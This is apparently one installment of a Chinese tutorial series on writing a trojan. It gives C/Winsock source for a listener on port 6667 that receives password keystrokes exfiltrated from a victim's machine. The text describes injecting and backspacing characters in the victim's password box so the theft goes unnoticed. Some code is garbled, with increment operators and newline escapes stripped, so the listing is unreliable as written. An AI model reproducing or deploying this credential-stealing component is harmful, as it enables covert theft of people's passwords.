目标:
实现服务端的代码编写,用于接受木马发回的消息。
实现:
由于这一篇实现任务比较简单,我就讲一下密码的消息接收,账号类似。由于密码一开始我们需要接受密码本,所以我们需要区分一下发来的是密码本还是未翻译的密码。由于为了方便我们只模拟10个数字,所以一共20个字符(加上对应的BackSpace,因为不想让用户看出为何密码框平白无故多出10字符,所以我们需要删除)。之后就是简单的字符接收就OK了O(∩_∩)O
代码如下:
代码语言:javascript复制#define WIN32_LEAN_AND_MEAN
#include<windows.h>
#include<Winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32.lib")
//用于消息定位输出
void gotoxy(int x, int y) {
COORD pos = { x,y };
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);// 获取标准输出设备句柄
SetConsoleCursorPosition(hOut, pos);//两个参数分别是指定哪个窗体,具体位置
}
void main() {
WSADATA wsaData;
int state = 0;
if (WSAStartup(MAKEWORD(2, 2), &wsaData)) {
printf("套接字初始化失败!n");
}
SOCKET serviceSocket = socket(AF_INET, SOCK_STREAM, 0);
if (serviceSocket == INVALID_SOCKET) {
printf("创建套接字失败!n");
}
SOCKADDR_IN socketAddService;
socketAddService.sin_family = AF_INET;
socketAddService.sin_port = htons(6667);
socketAddService.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
state = bind(serviceSocket, (LPSOCKADDR)&socketAddService, sizeof(SOCKADDR_IN));
if (state == SOCKET_ERROR) {
printf("账号绑定失败!n");
}
state = listen(serviceSocket, 1);
if (state == SOCKET_ERROR) {
printf("开启监听失败!n");
}
SOCKADDR_IN socketAddClient;
int iSocketLen = sizeof(SOCKADDR_IN);
char cBuffer[40] = {0};
int index = 0;
printf("监听密码中..........n");
printf("密码翻译本:");
int num = 0;
while (1)
{
SOCKET clientSocket = accept(serviceSocket, (LPSOCKADDR)&socketAddClient, &iSocketLen);
int iRec = recv(clientSocket, &cBuffer[index], 1, 0);//接受数据
if (num < 20) {//20是因为10个字符和10和Backspace
if ((int)cBuffer[index] == 8&&index>0) {//不接受BackSpace
cBuffer[index] = 0;
}
else
{
index ;
}
gotoxy(11, 1);
printf("%s", cBuffer);//输出密码本
if (num == 19) {
printf("n未翻译密码:");
index = 0;
memset(cBuffer, 0, 40);
}
}
else
{
if ((int)cBuffer[index] == 8&&index>0) {//接受未翻译密码
index--;
cBuffer[index] = 0;
}
else
{
index ;
}
gotoxy(11, 2);
printf("%s", cBuffer);
}
num ;
if (iRec == 0||iRec==SOCKET_ERROR) {
printf("断开连接n");
break;
}
}
closesocket(serviceSocket);
WSACleanup();
system("pause");
}
本篇结语:
本篇很简单,没什么要讲的。
THE END